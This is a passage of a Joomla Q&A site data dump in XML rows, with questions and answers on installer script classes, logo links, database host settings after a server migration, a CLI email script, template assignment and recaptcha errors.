  <row Id="28122" PostTypeId="1" AcceptedAnswerId="28123" CreationDate="2020-06-01T18:49:07.477" Score="0" ViewCount="351" Body="&lt;p&gt;in joomla 4.0 beta2-dev, in the postflight method in script.php of my component i have put some code to create menus but at the end of installation of component the postflight isn't executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to put a die() but it has no effect :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($type, $parent)&#xA;{&#xA;    $componentinstaller = new MycompnentModelInstall;&#xA;    $componentinstaller-&amp;gt;createMenu();&#xA;&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why it doens't goes into postflight ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2022-10-19T23:44:16.643" Title="Install component run code in postflight" Tags="|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28123" PostTypeId="2" ParentId="28122" CreationDate="2020-06-02T13:05:59.227" Score="2" Body="&lt;p&gt;Since you kindly provided the link to the source files, I have downloaded your full Kunena package (6.0 dev.) (for Joomla 4.x.x dev.) just to give it a try and my short conclusion is the following: (well done for this extension, it looks good by the way!) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I wrote in my first comment I assumed that the problem is caused by the &lt;strong&gt;class&lt;/strong&gt; name of the &lt;strong&gt;script file&lt;/strong&gt; which is at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Pkg_KunenaInstaller extends InstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I ran a test within the preflight method of the script file but it did not run at all. Then I changed the &lt;strong&gt;script's class name&lt;/strong&gt; to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Pkg_KunenaInstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it runs without a problem. So the simple conclusion is: You do not have to/you cannot extend the &lt;strong&gt;InstallerScript&lt;/strong&gt; class in your installer scripts as you did. Probably someone misunderstood or misspelled this at your developer team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you extend the base &lt;code&gt;InstallerScript&lt;/code&gt; class correctly as the following then the inherited methods will work and the installer script will run too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Pkg_KunenaInstallerScript extends InstallerScript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-06-03T09:28:00.843" LastActivityDate="2020-06-03T09:28:00.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28124" PostTypeId="1" CreationDate="2020-06-02T18:52:11.907" Score="0" ViewCount="642" Body="&lt;p&gt;I recently bought a new domain and transfered my old site's files to it. It's all nice, but the logo still points to the old site. How can I adjust it? Here's my new site home page and the logo is in the upper left corner (blue colored with a book image in it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tutoring.solutions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tutoring.solutions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2020-06-03T18:03:15.083" Title="How to change logo's link URL?" Tags="|joomla-3.x|php|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28125" PostTypeId="2" ParentId="28124" CreationDate="2020-06-02T19:10:58.437" Score="1" Body="&lt;p&gt;That sort of thing is completely in the control of the template designer; Joomla doesn't care how that's set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not being familiar what template you're using, it's hard for me to tell precisely how it's done. From the site's markup, it looks like it's in a module (would probably be a custom HTML module). I'd look for one of those called something like &quot;logo&quot; first. It might also be in a configuration parameter for the template itself (Extensions-&gt;Templates then click on the template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the two most typical ways of handling it. Unfortunately, it might be hardcoded in the template's index.php file as well, or done in multiple other manners as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the template was a purchased one from one of the template houses, maybe if you add which one it to your question, someone might come up with a better answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum:&#xA;To see if it's coded in the template's index.php file you need to ook in the template's index.php file. One way is to go to Extensions-&gt;Templates-&gt;Templates, then click on the template name. There will be a list of files on the left. Click &quot;index.php&quot; there. DO NOT CHANGE ANYTHING IN THAT FILE! Look for the lines in that file around something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;logo&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, don't make any changes but copy out the few lines above and below that, and that might give us a better chance of figuring this out. Or not (template sellers write notoriously hard to read code).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2020-06-03T15:02:36.317" LastActivityDate="2020-06-03T15:02:36.317" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28126" PostTypeId="2" ParentId="28119" CreationDate="2020-06-02T19:17:47.690" Score="1" Body="&lt;p&gt;Here's a possibile workaround for you to get you going quickly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include a form field on the template administration tab that points to an existing image file, and include a note that the user should upload the image through Joomla's media manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will at least get you started with something that works for the user, even if it's not precisely what you're after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it turns out I had more time before I had to go than I thought, so I had time to double-check something:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form field type you're looking for is &quot;media&quot; and it goes in the templateDetails.xml file. It would go in the &quot;config&quot; section of that file. For example, if you wanted it on a tab called &quot;Fred&quot; you would have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;config&amp;gt;&#xA;      &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;Fred&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by the details of the field you were adding. (Then close the hierarchy, of course).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2020-06-02T19:24:38.130" LastActivityDate="2020-06-02T19:24:38.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28127" PostTypeId="2" ParentId="28124" CreationDate="2020-06-03T18:03:15.083" Score="0" Body="&lt;p&gt;I solved it myself by going to PHPMyAdmin. There I chose my site’s db. Went to SEARCH. Ran a search for “logo” in all tables. Found it in table “modules”. Edited the info there and saved it. That’s it! Before all that, I grepped in Ubuntu terminal window all my site’s folders and didn’t find it there… with this command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;xxx@xxx:~$ sudo grep -Ril “repetit.moscow” /var/www/tutoring.solutions/public_html&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2020-06-03T18:03:15.083" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28129" PostTypeId="1" CreationDate="2020-06-07T14:00:08.577" Score="1" ViewCount="414" Body="&lt;p&gt;in file script.php of component made for Joomla! 4.0-beta2-dev the namespace isn't found : Class 'Kunena\Forum\Libraries\Install\KunenaModelInstall' not foundClass&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The changes in script.php : &lt;a href=&quot;https://github.com/xillibit/Kunena-forum/commit/cad399955edb9368663935e5a22b8d91d2f953e0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/xillibit/Kunena-forum/commit/cad399955edb9368663935e5a22b8d91d2f953e0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backtrace during installation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q2BTy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q2BTy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the namespace isn't found in this case ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. : at the same time when i see the error, i look into \administrator\cache\autoload_psr4.php and i can see the namespace :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'Kunena\\Forum\\Libraries\\' =&amp;gt; [JPATH_LIBRARIES . '/kunena'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i found the file at the place where it should be : \libraries\kunena\Install\kunenamodelinstall.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2020-06-07T16:27:33.213" LastActivityDate="2020-06-07T16:27:33.213" Title="Namespace class of component not found in script.php during clean install of component" Tags="|joomla-4|namespace|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28130" PostTypeId="1" CreationDate="2020-06-07T15:06:37.417" Score="0" ViewCount="93" Body="&lt;p&gt;I created a file in the cli folder name it sendemail.php with the following code inside: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Cli&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;/**&#xA; * A command line cron job to attempt to remove files that should have been deleted at update.&#xA; */&#xA;&#xA;// We are a valid entry point.&#xA;const _JEXEC = 1;&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;    require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Get the framework.&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;&#xA;// Bootstrap the CMS libraries.&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Configure error reporting to maximum for CLI output.&#xA;error_reporting(E_ALL);&#xA;ini_set('display_errors', 1);&#xA;&#xA;// Load Library language&#xA;$lang = JFactory::getLanguage();&#xA;&#xA;// Try the files_joomla file in the current language (without allowing the loading of the file in the default language)&#xA;$lang-&amp;gt;load('files_joomla.sys', JPATH_SITE, null, false, false)&#xA;// Fallback to the files_joomla file in the default language&#xA;|| $lang-&amp;gt;load('files_joomla.sys', JPATH_SITE, null, true);&#xA;&#xA;// Load the configuration&#xA;require_once JPATH_CONFIGURATION . '/configuration.php';&#xA;&#xA;/**&#xA; * A command line cron job to attempt to remove files that should have been deleted at update.&#xA; *&#xA; * @since  3.0&#xA; */&#xA;class Sendemail extends JApplicationCli&#xA;{&#xA;    /**&#xA;     * Entry point for the script&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    public function doExecute()&#xA;    {&#xA;        $config = JFactory::getConfig();&#xA;        $mailer = JFactory::getMailer();&#xA;        $sender = array( &#xA;            $config-&amp;gt;get('mailfrom'),&#xA;            $config-&amp;gt;get('fromname') &#xA;        );&#xA;&#xA;        $mailer-&amp;gt;SMTPDebug = true;&#xA;&#xA;        $recipient = 'myemail@domain.com';&#xA;&#xA;        $body   =   'Message Text for test';&#xA;        $mailer-&amp;gt;addRecipient($recipient);&#xA;        $mailer-&amp;gt;setSubject(&quot;TestEmail&quot;);&#xA;&#xA;        $mailer-&amp;gt;isHtml(true);&#xA;        $mailer-&amp;gt;Encoding = 'base64';&#xA;        $mailer-&amp;gt;setBody($body);&#xA;&#xA;        $send = $mailer-&amp;gt;Send();&#xA;&#xA;        if ( $send !== true ) {&#xA;            echo 'Error sending email: ';&#xA;        } else {&#xA;            echo 'Email sent';&#xA;        }&#xA;        die;&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('Sendemail')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but after I run php php sendemail.php I get as return : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error sending email&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I click &lt;strong&gt;send test email&lt;/strong&gt; on administrator &gt; configuration &gt; server;&#xA;The test email sent and I get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The email was sent to sendemail@domain.com using SMTP. You should check that you've received the test email.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the problem is not related to username or password or host of the smtp, but when I try to send email from cli file I get Error sending email and no email is sent.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="12352" LastEditDate="2020-06-07T23:17:01.303" LastActivityDate="2020-06-07T23:17:01.303" Title="cli file for sending email fails to sent email" Tags="|joomla-3.x|emails|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28131" PostTypeId="1" AcceptedAnswerId="28133" CreationDate="2020-06-07T16:20:13.140" Score="0" ViewCount="86" Body="&lt;p&gt;need help. My web hosting recently sent email that they will perform an infrastructure upgrade and migrate my Cloud account to a new server with the latest hardware in Google facility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They now migtrated website to Google facility (remained and managed by present host only) and in this changed old ip address to new ip address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post successful migration they confirmed through email - that they have automatically updated domain's DNS settings and no action is required on my behalf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Query is&#xA;As the migration is just been done and IP address been changed from Old IP to New IP and site working absolutely fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know that in Joomla there is a setting in global configuration - server - database setting where host is referred as old ip address value. Does same also need to be changed to New IP Address as shared&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now with Old Ip address in global configuration - server - database setting - host value with old ip address site working absolutely fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i still need to punch in New Ip address value in host setting, Reiterating site working absolutely fine with old ip address in host value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;spoken to host, as per them its joomla query and best to ask or get help in this joomla forum. Can any one guide or confirm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2020-06-08T03:50:54.213" Title="Does Joomla Host Value under Server Database setting needs a change after change in ip address" Tags="|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28132" PostTypeId="2" ParentId="28131" CreationDate="2020-06-07T23:39:07.763" Score="0" Body="&lt;p&gt;Yes, update the IP to the new IP. Your website (Joomla files) may be getting served by the new server, but the database behind it is being sourced from the old server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site breaks with the new IP, revert your change in configuration.php and speak to your host to get the correct hostname or IP for the new server.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-06-07T23:39:07.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28133" PostTypeId="2" ParentId="28131" CreationDate="2020-06-08T03:50:54.213" Score="1" Body="&lt;p&gt;Checking the &lt;code&gt;configuration.php&lt;/code&gt; file for specific IP addresses is probably a reasonable and sufficient precaution if you have reason to be concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, and especially with shared hosting, server settings are usually set to &quot;localhost&quot; in the &lt;code&gt;configuration.php&lt;/code&gt; file so there is no need to update any IP addresses in Joomla when moving to a new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a move, you should check in Global Configuration that the log and tmp paths are correct. (If the Log and Temp folders show as writeable at System -&gt; System Information - Folder Permissions then these are probably fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other change I sometimes have to do after a move is changing the default output directory in Akeeba Backup.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2020-06-08T03:50:54.213" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28135" PostTypeId="1" CreationDate="2020-06-08T10:38:44.140" Score="0" ViewCount="41" Body="&lt;p&gt;We have a problems with the person who build the web and they don´t response our requests, We recently observe that the contact form from the web contact doesn´t send emails, I never used Joomla i don´t know nothing about this platform, but navigation from the administrator site I have been able to observe a module that they say &quot;Contact Form&quot;, but the email are correct, where can be the problem? What can I do to solve or to testing? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ypu0m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ypu0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14336" LastEditorUserId="14336" LastEditDate="2020-06-08T11:20:09.630" LastActivityDate="2020-06-08T11:20:09.630" Title="Contact Form doesn´t send emails" Tags="|emails|contact-form|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28136" PostTypeId="1" CreationDate="2020-06-08T12:43:19.757" Score="0" ViewCount="105" Body="&lt;p&gt;On my detail page edit.php I have a list of records. The user can select records by a checkbox and the number of selected records is not fixed, I mean it can be one record, but also one time 5 or 11 records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total list of records can be 3 or 500 records or even more, so I don't want to put this in the form and submit the whole bunch! I looks not an good idea to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try give an idea how I see it like an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &quot;rec1&quot;: {&#xA;                    &quot;value1&quot;: &quot;some data&quot;&#xA;                    &quot;value2&quot;: &quot;some data&quot;&#xA;                    &quot;value3&quot;: &quot;some data&quot;&#xA;                    &quot;value4&quot;: &quot;some data&quot;&#xA;                }&#xA;        &quot;recn&quot;: {&#xA;                    &quot;value1&quot;: &quot;some data&quot;&#xA;                    &quot;value2&quot;: &quot;some data&quot;&#xA;                    &quot;value3&quot;: &quot;some data&quot;&#xA;                    &quot;value4&quot;: &quot;some data&quot;&#xA;                }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to save these value's as record in certain table. This I have this principle working, simply with the form fields one-value and different number of records. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to extend this with more data.&#xA;&lt;strong&gt;My question is, I'm looking for an tutorial or example of how do I:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I press the &quot;Save&quot; button, how can I submit these record value's to the controller to save them? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the controller site how to pick up the records and extract values to save again?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the best way how to do that?&lt;/strong&gt; application/Json or application/XML or application/x-www-form-urlencoded? Till now I don't when or why is the one or another used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that someone can help me further and help me out so that I at least get an idea how to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastActivityDate="2024-03-05T02:00:35.110" Title="How to Submit detail page (edit.php) with random amount of data?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28138" PostTypeId="2" ParentId="26506" CreationDate="2020-06-09T10:12:02.150" Score="1" Body="&lt;p&gt;On version 3.6 I solved the problem by changing the variable eos in the file&#xA;plugins/quickicon/phpversioncheck/phpversioncheck.php&#xA;from 2019 to 2025 on the lines 110 to 125.&lt;/p&gt;&#xA;" OwnerUserId="14340" LastEditorUserId="12352" LastEditDate="2021-12-07T22:53:28.823" LastActivityDate="2021-12-07T22:53:28.823" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28139" PostTypeId="2" ParentId="28136" CreationDate="2020-06-09T16:07:37.273" Score="0" Body="&lt;p&gt;I haven't verified what's below, but I think it should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you have a look at the Joomla Content Articles form, where you can select multiple articles via the checkboxes and then perform a batch operation, such as publishing / unpublishing all these. In particular look at administrator/components/com_content/views/articles/tmpl/default.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_backend_actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_backend_actions&lt;/a&gt; in the admin/views/helloworlds/tmpl/default.php code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you want to use something like what is in the com_content articles layout file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php echo JHtml::_('grid.id', $i, $item-&amp;gt;id); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for each of the records, which will output a checkbox with the html &quot;name&quot; attribute set to &quot;cid[]&quot; which will cause the ids to be sent in the http post as an array, so you can easily get these into a php array in your controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlGrid.html#method_id&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JHtmlGrid.html#method_id&lt;/a&gt; for the API details (including eg how you can change the &quot;cid&quot; name). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also include a hidden field  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will give you the number of records checked. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-06-09T16:07:37.273" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28140" PostTypeId="1" AcceptedAnswerId="28141" CreationDate="2020-06-10T09:24:04.633" Score="2" ViewCount="128" Body="&lt;p&gt;I want to create a template for a specific page: the search result page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the options to specify a template for an article or a page but not for a joomla system page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is possible to specify a template for the search page?&lt;/p&gt;&#xA;" OwnerUserId="14177" LastEditorUserId="14118" LastEditDate="2020-06-10T22:10:17.293" LastActivityDate="2020-06-30T17:17:46.167" Title="How to assign a template for a specific page" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28141" PostTypeId="2" ParentId="28140" CreationDate="2020-06-10T13:03:38.403" Score="2" Body="&lt;p&gt;Yes. It's possible.&lt;/p&gt;&#xA;&lt;p&gt;You have to go to your Joomla administrator panel then:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a Search page (If you don't have one).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a Menu item for this search page( If you haven't created it yet).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to: Extensions &amp;gt; Templates &amp;gt; Styles&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the checkbox of the template you want to be assigned to your search page and then click duplicate.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the template you just duplicated.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Menu Assignment tab.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On Menu Assignment, select the page you want the template to be assigned to.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to your &lt;code&gt;templates&lt;/code&gt; folder, there you will find the duplicated template&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit the &lt;code&gt;index.php&lt;/code&gt; file of this duplicated template to meet your needs.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can do the same thing for any other page (error pages, etc)&lt;/p&gt;&#xA;&lt;p&gt;If you want even more flexibility you can:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to: Extensions &amp;gt; Templates &amp;gt; Templates&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the template you want to have a different look&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &amp;quot;Copy Template&amp;quot;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose the name of your template and click &amp;quot;Copy Template&amp;quot;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-06-30T17:17:46.167" LastActivityDate="2020-06-30T17:17:46.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28143" PostTypeId="1" CreationDate="2020-06-12T09:32:01.610" Score="0" ViewCount="120" Body="&lt;p&gt;On my site there are 2 types of categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first has link &lt;code&gt;mysite.com/id-category&lt;/code&gt; and in this case I cannot see the content of the page (the div with id &quot;t3-mainbody&quot;  is missing in the generated HTML code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second type of category has link &lt;code&gt;mysite-com/category&lt;/code&gt; and this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, the articles of the first category (link like &lt;code&gt;mysite.com/id-category/id-article&lt;/code&gt;) don't work (the div with id &quot;t3-mainbody&quot;  is missing in the generated HTML code), but the articles of the second category work (link like&lt;code&gt;mysite-com/category/article&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Joomla 3.9.19 and the Purity III theme (t3 framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the first type of links?&lt;/p&gt;&#xA;" OwnerUserId="14177" LastActivityDate="2024-02-24T07:05:20.607" Title="category links don't work" Tags="|joomla-3.x|category|t3-framework|id|purity-iii|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28145" PostTypeId="1" CreationDate="2020-06-12T11:34:56.833" Score="0" ViewCount="114" Body="&lt;p&gt;I have problem with google recaptcha on my joomla site. I am using gk contact form plugin and joomla 3.7.0 version. But recaptcha is not showing due to console errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.google.com/recaptcha/api/js/recaptcha_ajax.js net::ERR_ABORTED 404&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Recaptcha is not defined&#xA;at HTMLDocument.&amp;lt;anonymous&amp;gt; ((index):402)&#xA;at i (jquery.min.js?78f5c4952e9cfe6f41e9ad437e81ec9d:2)&#xA;at Object.fireWith [as resolveWith] (jquery.min.js?78f5c4952e9cfe6f41e9ad437e81ec9d:2)&#xA;at Function.ready (jquery.min.js?78f5c4952e9cfe6f41e9ad437e81ec9d:2)&#xA;at HTMLDocument.K (jquery.min.js?78f5c4952e9cfe6f41e9ad437e81ec9d:2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any solution? &lt;/p&gt;&#xA;" OwnerUserId="14345" LastActivityDate="2020-06-12T11:34:56.833" Title="How to add google recaptcha not working on joomla 3.7?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28147" PostTypeId="1" CreationDate="2020-06-13T20:09:37.970" Score="1" ViewCount="342" Body="&lt;p&gt;I am using a custom Joomla template called '&lt;a href=&quot;https://i.stack.imgur.com/F3LY4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Portent&lt;/a&gt;' built by &lt;a href=&quot;http://@SethWarburton&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomlanauts&lt;/a&gt; -- a &lt;a href=&quot;https://joomla.stackexchange.com/users/296/seth-warburton&quot;&gt;@SethWarburton&lt;/a&gt; creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue which I am facing is that the Sub-menu under my Child menu items are not showing for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show the child submenu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Here I have sub-menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MdAtj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdAtj.png&quot; alt=&quot;enter image description 